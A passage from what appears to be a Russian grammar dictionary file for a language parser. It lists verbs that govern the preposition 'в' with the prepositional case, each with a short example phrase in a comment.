rus_verbs:ослабнуть{}, // ослабнуть в сочленении
rus_verbs:таить{}, // таить в себе
инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке
rus_verbs:приостановиться{}, // приостановиться в конце
rus_verbs:топтаться{}, // топтаться в грязи
rus_verbs:громить{}, // громить в финале
rus_verbs:заменять{}, // заменять в основном составе
rus_verbs:подъезжать{}, // подъезжать в колясках
rus_verbs:вычислить{}, // вычислить в уме
rus_verbs:заказывать{}, // заказывать в магазине
rus_verbs:осуществить{}, // осуществить в реальных условиях
rus_verbs:обосноваться{}, // обосноваться в дупле
rus_verbs:пытать{}, // пытать в камере
rus_verbs:поменять{}, // поменять в магазине
rus_verbs:совершиться{}, // совершиться в суде
rus_verbs:пролетать{}, // пролетать в вертолете
rus_verbs:сбыться{}, // сбыться во сне
rus_verbs:разговориться{}, // разговориться в отделении
rus_verbs:преподнести{}, // преподнести в красивой упаковке
rus_verbs:напечатать{}, // напечатать в типографии
rus_verbs:прорвать{}, // прорвать в центре
rus_verbs:раскачиваться{}, // раскачиваться в кресле
rus_verbs:задерживаться{}, // задерживаться в дверях
rus_verbs:угощать{}, // угощать в кафе
rus_verbs:проступать{}, // проступать в глубине
rus_verbs:шарить{}, // шарить в математике
rus_verbs:увеличивать{}, // увеличивать в конце
rus_verbs:расцвести{}, // расцвести в оранжерее
rus_verbs:закипеть{}, // закипеть в баке
rus_verbs:подлететь{}, // подлететь в вертолете
rus_verbs:рыться{}, // рыться в куче
rus_verbs:пожить{}, // пожить в гостинице
rus_verbs:добираться{}, // добираться в попутном транспорте
rus_verbs:перекрыть{}, // перекрыть в коридоре
rus_verbs:продержаться{}, // продержаться в барокамере
rus_verbs:разыскивать{}, // разыскивать в толпе
rus_verbs:освобождать{}, // освобождать в зале суда
rus_verbs:подметить{}, // подметить в человеке
rus_verbs:передвигаться{}, // передвигаться в узкой юбке
rus_verbs:продумать{}, // продумать в уме
rus_verbs:извиваться{}, // извиваться в траве
rus_verbs:процитировать{}, // процитировать в статье
rus_verbs:прогуливаться{}, // прогуливаться в парке
rus_verbs:защемить{}, // защемить в двери
rus_verbs:увеличиться{}, // увеличиться в объеме
rus_verbs:проявиться{}, // проявиться в результатах
rus_verbs:заскользить{}, // заскользить в ботинках
rus_verbs:пересказать{}, // пересказать в своем выступлении
rus_verbs:протестовать{}, // протестовать в здании парламента
rus_verbs:указываться{}, // указываться в путеводителе
rus_verbs:копошиться{}, // копошиться в песке
rus_verbs:проигнорировать{}, // проигнорировать в своей работе
rus_verbs:купаться{}, // купаться в речке
rus_verbs:подсчитать{}, // подсчитать в уме
rus_verbs:разволноваться{}, // разволноваться в классе
rus_verbs:придумывать{}, // придумывать в своем воображении
rus_verbs:предусмотреть{}, // предусмотреть в программе
rus_verbs:завертеться{}, // завертеться в колесе
rus_verbs:зачерпнуть{}, // зачерпнуть в ручье
rus_verbs:очистить{}, // очистить в химической лаборатории
rus_verbs:прозвенеть{}, // прозвенеть в коридорах
rus_verbs:уменьшиться{}, // уменьшиться в размере
rus_verbs:колыхаться{}, // колыхаться в проточной воде
rus_verbs:ознакомиться{}, // ознакомиться в автобусе
rus_verbs:ржать{}, // ржать в аудитории
rus_verbs:раскинуть{}, // раскинуть в микрорайоне
rus_verbs:разлиться{}, // разлиться в воде
rus_verbs:сквозить{}, // сквозить в словах
rus_verbs:задушить{}, // задушить в объятиях
rus_verbs:осудить{}, // осудить в особом порядке
rus_verbs:разгромить{}, // разгромить в честном поединке
rus_verbs:подслушать{}, // подслушать в кулуарах
rus_verbs:проповедовать{}, // проповедовать в сельских районах
rus_verbs:озарить{}, // озарить во сне
rus_verbs:потирать{}, // потирать в предвкушении
rus_verbs:описываться{}, // описываться в статье
rus_verbs:качаться{}, // качаться в кроватке
rus_verbs:усилить{}, // усилить в центре
rus_verbs:прохаживаться{}, // прохаживаться в новом костюме
rus_verbs:полечить{}, // полечить в больничке
rus_verbs:сниматься{}, // сниматься в римейке
rus_verbs:сыскать{}, // сыскать в наших краях
rus_verbs:поприветствовать{}, // поприветствовать в коридоре
rus_verbs:подтвердиться{}, // подтвердиться в эксперименте
rus_verbs:плескаться{}, // плескаться в теплой водичке
rus_verbs:расширяться{}, // расширяться в первом сегменте
rus_verbs:мерещиться{}, // мерещиться в тумане
rus_verbs:сгущаться{}, // сгущаться в воздухе
rus_verbs:храпеть{}, // храпеть во сне
rus_verbs:подержать{}, // подержать в руках
rus_verbs:накинуться{}, // накинуться в подворотне
rus_verbs:планироваться{}, // планироваться в закрытом режиме
rus_verbs:пробудить{}, // пробудить в себе
rus_verbs:побриться{}, // побриться в ванной
rus_verbs:сгинуть{}, // сгинуть в пучине
rus_verbs:окрестить{}, // окрестить в церкви
инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления
rus_verbs:замкнуться{}, // замкнуться в себе
rus_verbs:прибавлять{}, // прибавлять в весе
rus_verbs:проплыть{}, // проплыть в лодке
rus_verbs:растворяться{}, // растворяться в тумане
rus_verbs:упрекать{}, // упрекать в небрежности
rus_verbs:затеряться{}, // затеряться в лабиринте
rus_verbs:перечитывать{}, // перечитывать в поезде
rus_verbs:перелететь{}, // перелететь в вертолете
rus_verbs:оживать{}, // оживать в теплой воде
rus_verbs:заглохнуть{}, // заглохнуть в полете
rus_verbs:кольнуть{}, // кольнуть в боку
rus_verbs:копаться{}, // копаться в куче
rus_verbs:развлекаться{}, // развлекаться в клубе
rus_verbs:отливать{}, // отливать в кустах
rus_verbs:зажить{}, // зажить в деревне
rus_verbs:одолжить{}, // одолжить в соседнем кабинете
rus_verbs:заклинать{}, // заклинать в своей речи
rus_verbs:различаться{}, // различаться в мелочах
rus_verbs:печататься{}, // печататься в типографии
rus_verbs:угадываться{}, // угадываться в контурах
rus_verbs:обрывать{}, // обрывать в начале
rus_verbs:поглаживать{}, // поглаживать в кармане
rus_verbs:подписывать{}, // подписывать в присутствии понятых
rus_verbs:добывать{}, // добывать в разломе
rus_verbs:скопиться{}, // скопиться в воротах
rus_verbs:повстречать{}, // повстречать в бане
rus_verbs:совпасть{}, // совпасть в упрощенном виде
rus_verbs:разрываться{}, // разрываться в точке спайки
rus_verbs:улавливать{}, // улавливать в датчике
rus_verbs:повстречаться{}, // повстречаться в лифте
rus_verbs:отразить{}, // отразить в отчете
rus_verbs:пояснять{}, // пояснять в примечаниях
rus_verbs:накормить{}, // накормить в столовке
rus_verbs:поужинать{}, // поужинать в ресторане
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить в молоке
rus_verbs:освоить{}, // освоить в работе
rus_verbs:зародиться{}, // зародиться в голове
rus_verbs:отплыть{}, // отплыть в старой лодке
rus_verbs:отстаивать{}, // отстаивать в суде
rus_verbs:осуждать{}, // осуждать в своем выступлении
rus_verbs:переговорить{}, // переговорить в перерыве
rus_verbs:разгораться{}, // разгораться в сердце
rus_verbs:укрыть{}, // укрыть в шалаше
rus_verbs:томиться{}, // томиться в застенках
rus_verbs:клубиться{}, // клубиться в воздухе
rus_verbs:сжигать{}, // сжигать в топке
rus_verbs:позавтракать{}, // позавтракать в кафешке
rus_verbs:функционировать{}, // функционировать в лабораторных условиях
rus_verbs:смять{}, // смять в руке
rus_verbs:разместить{}, // разместить в интернете
rus_verbs:пронести{}, // пронести в потайном кармане
rus_verbs:руководствоваться{}, // руководствоваться в работе
rus_verbs:нашарить{}, // нашарить в потемках
rus_verbs:закрутить{}, // закрутить в вихре
rus_verbs:просматриваться{}, // просматриваться в дальней перспективе
rus_verbs:распознать{}, // распознать в незнакомце
rus_verbs:повеситься{}, // повеситься в камере
rus_verbs:обшарить{}, // обшарить в поисках наркотиков
rus_verbs:наполняться{}, // наполняется в карьере
rus_verbs:засвистеть{}, // засвистеть в воздухе
rus_verbs:процветать{}, // процветать в мягком климате
rus_verbs:шуршать{}, // шуршать в простенке
rus_verbs:подхватывать{}, // подхватывать в полете
инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе
прилагательное:роившийся{}, прилагательное:роящийся{},
// деепричастие:роясь{ aux stress="ро^ясь" },
rus_verbs:преобладать{}, // преобладать в тексте
rus_verbs:посветлеть{}, // посветлеть в лице
rus_verbs:игнорировать{}, // игнорировать в рекомендациях
rus_verbs:обсуждаться{}, // обсуждаться в кулуарах
rus_verbs:отказывать{}, // отказывать в визе
rus_verbs:ощупывать{}, // ощупывать в кармане
rus_verbs:разливаться{}, // разливаться в цеху
rus_verbs:расписаться{}, // расписаться в получении
rus_verbs:учинить{}, // учинить в казарме
rus_verbs:плестись{}, // плестись в хвосте
rus_verbs:объявляться{}, // объявляться в группе
rus_verbs:повышаться{}, // повышаться в первой части
rus_verbs:напрягать{}, // напрягать в паху
rus_verbs:разрабатывать{}, // разрабатывать в студии
rus_verbs:хлопотать{}, // хлопотать в мэрии
rus_verbs:прерывать{}, // прерывать в самом начале
rus_verbs:каяться{}, // каяться в грехах
rus_verbs:освоиться{}, // освоиться в кабине
rus_verbs:подплыть{}, // подплыть в лодке
rus_verbs:замигать{}, // замигать в темноте
rus_verbs:оскорблять{}, // оскорблять в выступлении
rus_verbs:торжествовать{}, // торжествовать в душе
rus_verbs:поправлять{}, // поправлять в прологе
rus_verbs:угадывать{}, // угадывать в размытом изображении
rus_verbs:потоптаться{}, // потоптаться в прихожей
rus_verbs:переправиться{}, // переправиться в лодочке
rus_verbs:увериться{}, // увериться в невиновности
rus_verbs:забрезжить{}, // забрезжить в конце тоннеля
rus_verbs:утвердиться{}, // утвердиться во мнении
rus_verbs:завывать{}, // завывать в трубе
rus_verbs:заварить{}, // заварить в заварнике
rus_verbs:скомкать{}, // скомкать в руке
rus_verbs:перемещаться{}, // перемещаться в капсуле
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле
rus_verbs:праздновать{}, // праздновать в баре
rus_verbs:мигать{}, // мигать в темноте
rus_verbs:обучить{}, // обучить в мастерской
rus_verbs:орудовать{}, // орудовать в кладовке
rus_verbs:упорствовать{}, // упорствовать в заблуждении
rus_verbs:переминаться{}, // переминаться в прихожей
rus_verbs:подрасти{}, // подрасти в теплице
rus_verbs:предписываться{}, // предписываться в законе
rus_verbs:приписать{}, // приписать в конце
rus_verbs:задаваться{}, // задаваться в своей статье
rus_verbs:чинить{}, // чинить в домашних условиях
rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке
rus_verbs:пообедать{}, // пообедать в ресторанчике
rus_verbs:жрать{}, // жрать в чуланчике
rus_verbs:исполняться{}, // исполняться в антракте
rus_verbs:гнить{}, // гнить в тюрьме
rus_verbs:глодать{}, // глодать в конуре
rus_verbs:прослушать{}, // прослушать в дороге
rus_verbs:истратить{}, // истратить в кабаке
rus_verbs:стареть{}, // стареть в одиночестве
rus_verbs:разжечь{}, // разжечь в сердце
rus_verbs:совещаться{}, // совещаться в кабинете
rus_verbs:покачивать{}, // покачивать в кроватке
rus_verbs:отсидеть{}, // отсидеть в одиночке
rus_verbs:формировать{}, // формировать в умах
rus_verbs:захрапеть{}, // захрапеть во сне
rus_verbs:петься{}, // петься в хоре
rus_verbs:объехать{}, // объехать в автобусе
rus_verbs:поселить{}, // поселить в гостинице
rus_verbs:предаться{}, // предаться в книге
rus_verbs:заворочаться{}, // заворочаться во сне
rus_verbs:напрятать{}, // напрятать в карманах
rus_verbs:очухаться{}, // очухаться в незнакомом месте
rus_verbs:ограничивать{}, // ограничивать в движениях
rus_verbs:завертеть{}, // завертеть в руках
rus_verbs:печатать{}, // печатать в редакторе
rus_verbs:теплиться{}, // теплиться в сердце
rus_verbs:увязнуть{}, // увязнуть в зыбучем песке
rus_verbs:усмотреть{}, // усмотреть в обращении
rus_verbs:отыскаться{}, // отыскаться в запасах
rus_verbs:потушить{}, // потушить в горле огонь
rus_verbs:поубавиться{}, // поубавиться в размере
rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти
rus_verbs:смыть{}, // смыть в ванной
rus_verbs:заместить{}, // заместить в кресле
rus_verbs:угасать{}, // угасать в одиночестве
rus_verbs:сразить{}, // сразить в споре
rus_verbs:фигурировать{}, // фигурировать в бюллетене
rus_verbs:расплываться{}, // расплываться в глазах
rus_verbs:сосчитать{}, // сосчитать в уме
rus_verbs:сгуститься{}, // сгуститься в воздухе
rus_verbs:цитировать{}, // цитировать в своей статье
rus_verbs:помяться{}, // помяться в давке
rus_verbs:затрагивать{}, // затрагивать в процессе выполнения
rus_verbs:обтереть{}, // обтереть в гараже
rus_verbs:подстрелить{}, // подстрелить в пойме реки
rus_verbs:растереть{}, // растереть в руке
rus_verbs:подавлять{}, // подавлять в зародыше
rus_verbs:смешиваться{}, // смешиваться в чане
инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке
rus_verbs:сократиться{}, // сократиться в обхвате
rus_verbs:занервничать{}, // занервничать в кабинете
rus_verbs:соприкоснуться{}, // соприкоснуться в полете
rus_verbs:обозначить{}, // обозначить в объявлении
rus_verbs:обучаться{}, // обучаться в училище
rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы
rus_verbs:лелеять{}, // лелеять в сердце
rus_verbs:поддерживаться{}, // поддерживаться в суде
rus_verbs:уплыть{}, // уплыть в лодочке
rus_verbs:резвиться{}, // резвиться в саду
rus_verbs:поерзать{}, // поерзать в гамаке
rus_verbs:оплатить{}, // оплатить в ресторане
rus_verbs:похвастаться{}, // похвастаться в компании
rus_verbs:знакомиться{}, // знакомиться в классе
rus_verbs:приплыть{}, // приплыть в подводной лодке
rus_verbs:зажигать{}, // зажигать в классе
rus_verbs:смыслить{}, // смыслить в математике
rus_verbs:закопать{}, // закопать в огороде
rus_verbs:порхать{}, // порхать в зарослях
rus_verbs:потонуть{}, // потонуть в бумажках
rus_verbs:стирать{}, // стирать в холодной воде
rus_verbs:подстерегать{}, // подстерегать в придорожных кустах
rus_verbs:погулять{}, // погулять в парке
rus_verbs:предвкушать{}, // предвкушать в воображении
rus_verbs:ошеломить{}, // ошеломить в бою
rus_verbs:удостовериться{}, // удостовериться в безопасности
rus_verbs:огласить{}, // огласить в заключительной части
rus_verbs:разбогатеть{}, // разбогатеть в деревне
rus_verbs:грохотать{}, // грохотать в мастерской
rus_verbs:реализоваться{}, // реализоваться в должности
rus_verbs:красть{}, // красть в магазине
rus_verbs:нарваться{}, // нарваться в коридоре
rus_verbs:застывать{}, // застывать в неудобной позе
rus_verbs:толкаться{}, // толкаться в тесной комнате
rus_verbs:извлекать{}, // извлекать в аппарате
rus_verbs:обжигать{}, // обжигать в печи
rus_verbs:запечатлеть{}, // запечатлеть в кинохронике
rus_verbs:тренироваться{}, // тренироваться в зале
rus_verbs:поспорить{}, // поспорить в кабинете
rus_verbs:рыскать{}, // рыскать в лесу
rus_verbs:надрываться{}, // надрываться в шахте
rus_verbs:сняться{}, // сняться в фильме
rus_verbs:закружить{}, // закружить в танце
rus_verbs:затонуть{}, // затонуть в порту
rus_verbs:побыть{}, // побыть в гостях
rus_verbs:почистить{}, // почистить в носу
rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре
rus_verbs:подслушивать{}, // подслушивать в классе
rus_verbs:сгорать{}, // сгорать в танке
rus_verbs:разочароваться{}, // разочароваться в артисте
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках
rus_verbs:мять{}, // мять в руках
rus_verbs:подраться{}, // подраться в классе
rus_verbs:замести{}, // замести в прихожей
rus_verbs:откладываться{}, // откладываться в печени
rus_verbs:обозначаться{}, // обозначаться в перечне
rus_verbs:просиживать{}, // просиживать в интернете
rus_verbs:соприкасаться{}, // соприкасаться в точке
rus_verbs:начертить{}, // начертить в тетрадке
rus_verbs:уменьшать{}, // уменьшать в поперечнике
rus_verbs:тормозить{}, // тормозить в облаке
rus_verbs:затевать{}, // затевать в лаборатории
rus_verbs:затопить{}, // затопить в бухте
rus_verbs:задерживать{}, // задерживать в лифте
rus_verbs:прогуляться{}, // прогуляться в лесу
rus_verbs:прорубить{}, // прорубить во льду
rus_verbs:очищать{}, // очищать в кислоте
rus_verbs:полулежать{}, // полулежать в гамаке
rus_verbs:исправить{}, // исправить в задании
rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи
rus_verbs:замучить{}, // замучить в плену
rus_verbs:разрушаться{}, // разрушаться в верхней части
rus_verbs:ерзать{}, // ерзать в кресле
rus_verbs:покопаться{}, // покопаться в залежах
rus_verbs:раскаяться{}, // раскаяться в содеянном
rus_verbs:пробежаться{}, // пробежаться в парке
rus_verbs:полежать{}, // полежать в гамаке
rus_verbs:позаимствовать{}, // позаимствовать в книге
rus_verbs:снижать{}, // снижать в несколько раз
rus_verbs:черпать{}, // черпать в поэзии
rus_verbs:заверять{}, // заверять в своей искренности
rus_verbs:проглядеть{}, // проглядеть в сумерках
rus_verbs:припарковать{}, // припарковать во дворе
rus_verbs:сверлить{}, // сверлить в стене
rus_verbs:здороваться{}, // здороваться в аудитории
rus_verbs:рожать{}, // рожать в воде
rus_verbs:нацарапать{}, // нацарапать в тетрадке
rus_verbs:затопать{}, // затопать в коридоре
rus_verbs:прописать{}, // прописать в правилах
rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах
rus_verbs:снизить{}, // снизить в несколько раз
rus_verbs:заблуждаться{}, // заблуждаться в своей теории
rus_verbs:откопать{}, // откопать в отвалах
rus_verbs:смастерить{}, // смастерить в лаборатории
rus_verbs:замедлиться{}, // замедлиться в парафине
rus_verbs:избивать{}, // избивать в участке
rus_verbs:мыться{}, // мыться в бане
rus_verbs:сварить{}, // сварить в кастрюльке
rus_verbs:раскопать{}, // раскопать в снегу
rus_verbs:крепиться{}, // крепиться в держателе
rus_verbs:дробить{}, // дробить в мельнице
rus_verbs:попить{}, // попить в ресторанчике
rus_verbs:затронуть{}, // затронуть в душе
rus_verbs:лязгнуть{}, // лязгнуть в тишине
rus_verbs:заправлять{}, // заправлять в полете
rus_verbs:размножаться{}, // размножаться в неволе
rus_verbs:потопить{}, // потопить в Тихом Океане
rus_verbs:кушать{}, // кушать в столовой
rus_verbs:замолкать{}, // замолкать в замешательстве
rus_verbs:измеряться{}, // измеряться в дюймах
rus_verbs:сбываться{}, // сбываться в мечтах
rus_verbs:задернуть{}, // задернуть в комнате
rus_verbs:затихать{}, // затихать в темноте
rus_verbs:прослеживаться{}, // прослеживается в журнале
rus_verbs:прерываться{}, // прерывается в начале
rus_verbs:изображаться{}, // изображается в любых фильмах
rus_verbs:фиксировать{}, // фиксировать в данной точке
rus_verbs:ослаблять{}, // ослаблять в поясе
rus_verbs:зреть{}, // зреть в теплице
rus_verbs:зеленеть{}, // зеленеть в огороде
rus_verbs:критиковать{}, // критиковать в статье
rus_verbs:облететь{}, // облететь в частном вертолете
rus_verbs:разбросать{}, // разбросать в комнате
rus_verbs:заразиться{}, // заразиться в людном месте
rus_verbs:рассеять{}, // рассеять в бою
rus_verbs:печься{}, // печься в духовке
rus_verbs:поспать{}, // поспать в палатке
rus_verbs:заступиться{}, // заступиться в драке
rus_verbs:сплетаться{}, // сплетаться в середине
rus_verbs:поместиться{}, // поместиться в мешке
rus_verbs:спереть{}, // спереть в лавке
// инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде
// инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш },
rus_verbs:проваляться{}, // проваляться в постели
rus_verbs:лечиться{}, // лечиться в стационаре
rus_verbs:определиться{}, // определиться в честном бою
rus_verbs:обработать{}, // обработать в растворе
rus_verbs:пробивать{}, // пробивать в стене
rus_verbs:перемешаться{}, // перемешаться в чане
rus_verbs:чесать{}, // чесать в паху
rus_verbs:пролечь{}, // пролечь в пустынной местности
rus_verbs:скитаться{}, // скитаться в дальних странах
rus_verbs:затрудняться{}, // затрудняться в выборе
rus_verbs:отряхнуться{}, // отряхнуться в коридоре
rus_verbs:разыгрываться{}, // разыгрываться в лотерее
rus_verbs:помолиться{}, // помолиться в церкви
rus_verbs:предписывать{}, // предписывать в рецепте
rus_verbs:порваться{}, // порваться в слабом месте
rus_verbs:греться{}, // греться в здании
rus_verbs:опровергать{}, // опровергать в своем выступлении
rus_verbs:помянуть{}, // помянуть в своем выступлении
rus_verbs:допросить{}, // допросить в прокуратуре
rus_verbs:материализоваться{}, // материализоваться в соседнем здании
rus_verbs:рассеиваться{}, // рассеиваться в воздухе
rus_verbs:перевозить{}, // перевозить в вагоне
rus_verbs:отбывать{}, // отбывать в тюрьме
rus_verbs:попахивать{}, // попахивать в отхожем месте
rus_verbs:перечислять{}, // перечислять в заключении
rus_verbs:зарождаться{}, // зарождаться в дебрях
rus_verbs:предъявлять{}, // предъявлять в своем письме
rus_verbs:распространять{}, // распространять в сети
rus_verbs:пировать{}, // пировать в соседнем селе
rus_verbs:начертать{}, // начертать в летописи
rus_verbs:расцветать{}, // расцветать в подходящих условиях
rus_verbs:царствовать{}, // царствовать в южной части материка
rus_verbs:накопить{}, // накопить в буфере
rus_verbs:закрутиться{}, // закрутиться в рутине
rus_verbs:отработать{}, // отработать в забое
rus_verbs:обокрасть{}, // обокрасть в автобусе
rus_verbs:прокладывать{}, // прокладывать в снегу
rus_verbs:ковырять{}, // ковырять в носу
rus_verbs:копить{}, // копить в очереди
rus_verbs:полечь{}, // полечь в степях
rus_verbs:щебетать{}, // щебетать в кустиках
rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении
rus_verbs:посеять{}, // посеять в огороде
rus_verbs:разъезжать{}, // разъезжать в кабриолете
rus_verbs:замечаться{}, // замечаться в лесу
rus_verbs:просчитать{}, // просчитать в уме
rus_verbs:маяться{}, // маяться в командировке
rus_verbs:выхватывать{}, // выхватывать в тексте
rus_verbs:креститься{}, // креститься в деревенской часовне
rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты
rus_verbs:настигать{}, // настигать в огороде
rus_verbs:разгуливать{}, // разгуливать в роще
rus_verbs:насиловать{}, // насиловать в квартире
rus_verbs:побороть{}, // побороть в себе
rus_verbs:учитывать{}, // учитывать в расчетах
rus_verbs:искажать{}, // искажать в заметке
rus_verbs:пропить{}, // пропить в кабаке
rus_verbs:катать{}, // катать в лодочке
rus_verbs:припрятать{}, // припрятать в кармашке
rus_verbs:запаниковать{}, // запаниковать в бою
rus_verbs:рассыпать{}, // рассыпать в траве
rus_verbs:застревать{}, // застревать в ограде
rus_verbs:зажигаться{}, // зажигаться в сумерках
rus_verbs:жарить{}, // жарить в масле
rus_verbs:накапливаться{}, // накапливаться в костях
rus_verbs:распуститься{}, // распуститься в горшке
rus_verbs:проголосовать{}, // проголосовать в передвижном пункте
rus_verbs:странствовать{}, // странствовать в автомобиле
rus_verbs:осматриваться{}, // осматриваться в хоромах
rus_verbs:разворачивать{}, // разворачивать в спортзале
rus_verbs:заскучать{}, // заскучать в самолете
rus_verbs:напутать{}, // напутать в расчете
rus_verbs:перекусить{}, // перекусить в столовой
rus_verbs:спасаться{}, // спасаться в автономной капсуле
rus_verbs:посовещаться{}, // посовещаться в комнате
rus_verbs:доказываться{}, // доказываться в статье
rus_verbs:познаваться{}, // познаваться в беде
rus_verbs:загрустить{}, // загрустить в одиночестве
rus_verbs:оживить{}, // оживить в памяти
rus_verbs:переворачиваться{}, // переворачиваться в гробу
rus_verbs:заприметить{}, // заприметить в лесу
rus_verbs:отравиться{}, // отравиться в забегаловке
rus_verbs:продержать{}, // продержать в клетке
rus_verbs:выявить{}, // выявить в костях
rus_verbs:заседать{}, // заседать в совете
rus_verbs:расплачиваться{}, // расплачиваться в первой кассе
rus_verbs:проломить{}, // проломить в двери
rus_verbs:подражать{}, // подражать в мелочах
rus_verbs:подсчитывать{}, // подсчитывать в уме
rus_verbs:опережать{}, // опережать во всем
rus_verbs:сформироваться{}, // сформироваться в облаке
rus_verbs:укрепиться{}, // укрепиться в мнении
rus_verbs:отстоять{}, // отстоять в очереди
rus_verbs:развертываться{}, // развертываться в месте испытания
rus_verbs:замерзать{}, // замерзать во льду
rus_verbs:утопать{}, // утопать в снегу
rus_verbs:раскаиваться{}, // раскаиваться в содеянном
rus_verbs:организовывать{}, // организовывать в пионерлагере
rus_verbs:перевестись{}, // перевестись в наших краях
rus_verbs:смешивать{}, // смешивать в блендере
rus_verbs:ютиться{}, // ютиться в тесной каморке
rus_verbs:прождать{}, // прождать в аудитории
rus_verbs:подыскивать{}, // подыскивать в женском общежитии
rus_verbs:замочить{}, // замочить в сортире
rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке
rus_verbs:растирать{}, // растирать в ступке
rus_verbs:замедлять{}, // замедлять в парафине
rus_verbs:переспать{}, // переспать в палатке
rus_verbs:рассекать{}, // рассекать в кабриолете
rus_verbs:отыскивать{}, // отыскивать в залежах
rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении
rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке
rus_verbs:укрываться{}, // укрываться в землянке
rus_verbs:запечься{}, // запечься в золе
rus_verbs:догорать{}, // догорать в темноте
rus_verbs:застилать{}, // застилать в коридоре
rus_verbs:сыскаться{}, // сыскаться в деревне
rus_verbs:переделать{}, // переделать в мастерской
rus_verbs:разъяснять{}, // разъяснять в своей лекции
rus_verbs:селиться{}, // селиться в центре
rus_verbs:оплачивать{}, // оплачивать в магазине
rus_verbs:переворачивать{}, // переворачивать в закрытой банке
rus_verbs:упражняться{}, // упражняться в остроумии
rus_verbs:пометить{}, // пометить в списке
rus_verbs:припомниться{}, // припомниться в завещании
rus_verbs:приютить{}, // приютить в амбаре
rus_verbs:натерпеться{}, // натерпеться в темнице
rus_verbs:затеваться{}, // затеваться в клубе
rus_verbs:уплывать{}, // уплывать в лодке
rus_verbs:скиснуть{}, // скиснуть в бидоне
rus_verbs:заколоть{}, // заколоть в боку
rus_verbs:замерцать{}, // замерцать в темноте
rus_verbs:фиксироваться{}, // фиксироваться в протоколе
rus_verbs:запираться{}, // запираться в комнате
rus_verbs:съезжаться{}, // съезжаться в каретах
rus_verbs:толочься{}, // толочься в ступе
rus_verbs:потанцевать{}, // потанцевать в клубе
rus_verbs:побродить{}, // побродить в парке
rus_verbs:назревать{}, // назревать в коллективе
rus_verbs:дохнуть{}, // дохнуть в питомнике
rus_verbs:крестить{}, // крестить в деревенской церквушке
rus_verbs:рассчитаться{}, // рассчитаться в банке
rus_verbs:припарковаться{}, // припарковаться во дворе
rus_verbs:отхватить{}, // отхватить в магазинчике
rus_verbs:остывать{}, // остывать в холодильнике
rus_verbs:составляться{}, // составляться в атмосфере тайны
rus_verbs:переваривать{}, // переваривать в тишине
rus_verbs:хвастать{}, // хвастать в казино
rus_verbs:отрабатывать{}, // отрабатывать в теплице
rus_verbs:разлечься{}, // разлечься в кровати
rus_verbs:прокручивать{}, // прокручивать в голове
rus_verbs:очертить{}, // очертить в воздухе
rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей
rus_verbs:выявлять{}, // выявлять в боевых условиях
rus_verbs:караулить{}, // караулить в лифте
rus_verbs:расставлять{}, // расставлять в бойницах
rus_verbs:прокрутить{}, // прокрутить в голове
rus_verbs:пересказывать{}, // пересказывать в первой главе
rus_verbs:задавить{}, // задавить в зародыше
rus_verbs:хозяйничать{}, // хозяйничать в холодильнике
rus_verbs:хвалиться{}, // хвалиться в детском садике
rus_verbs:оперировать{}, // оперировать в полевом госпитале
rus_verbs:формулировать{}, // формулировать в следующей главе
rus_verbs:застигнуть{}, // застигнуть в неприглядном виде
rus_verbs:замурлыкать{}, // замурлыкать в тепле
rus_verbs:поддакивать{}, // поддакивать в споре
rus_verbs:прочертить{}, // прочертить в воздухе
rus_verbs:отменять{}, // отменять в городе коменданский час
rus_verbs:колдовать{}, // колдовать в лаборатории
rus_verbs:отвозить{}, // отвозить в машине
rus_verbs:трахать{}, // трахать в гамаке
rus_verbs:повозиться{}, // повозиться в мешке
rus_verbs:ремонтировать{}, // ремонтировать в центре
rus_verbs:робеть{}, // робеть в гостях
rus_verbs:перепробовать{}, // перепробовать в деле
инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии
глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш },
rus_verbs:покаяться{}, // покаяться в церкви
rus_verbs:попрыгать{}, // попрыгать в бассейне
rus_verbs:умалчивать{}, // умалчивать в своем докладе
rus_verbs:ковыряться{}, // ковыряться в старой технике
rus_verbs:расписывать{}, // расписывать в деталях
rus_verbs:вязнуть{}, // вязнуть в песке
rus_verbs:погрязнуть{}, // погрязнуть в скандалах
rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу
rus_verbs:зажимать{}, // зажимать в углу
rus_verbs:стискивать{}, // стискивать в ладонях
rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса
rus_verbs:израсходовать{}, // израсходовать в полете
rus_verbs:клокотать{}, // клокотать в жерле
rus_verbs:обвиняться{}, // обвиняться в растрате
rus_verbs:уединиться{}, // уединиться в кладовке
rus_verbs:подохнуть{}, // подохнуть в болоте
rus_verbs:кипятиться{}, // кипятиться в чайнике
rus_verbs:уродиться{}, // уродиться в лесу
rus_verbs:продолжиться{}, // продолжиться в баре
rus_verbs:расшифровать{}, // расшифровать в специальном устройстве
rus_verbs:посапывать{}, // посапывать в кровати
rus_verbs:скрючиться{}, // скрючиться в мешке
rus_verbs:лютовать{}, // лютовать в отдаленных селах
rus_verbs:расписать{}, // расписать в статье
rus_verbs:публиковаться{}, // публиковаться в научном журнале
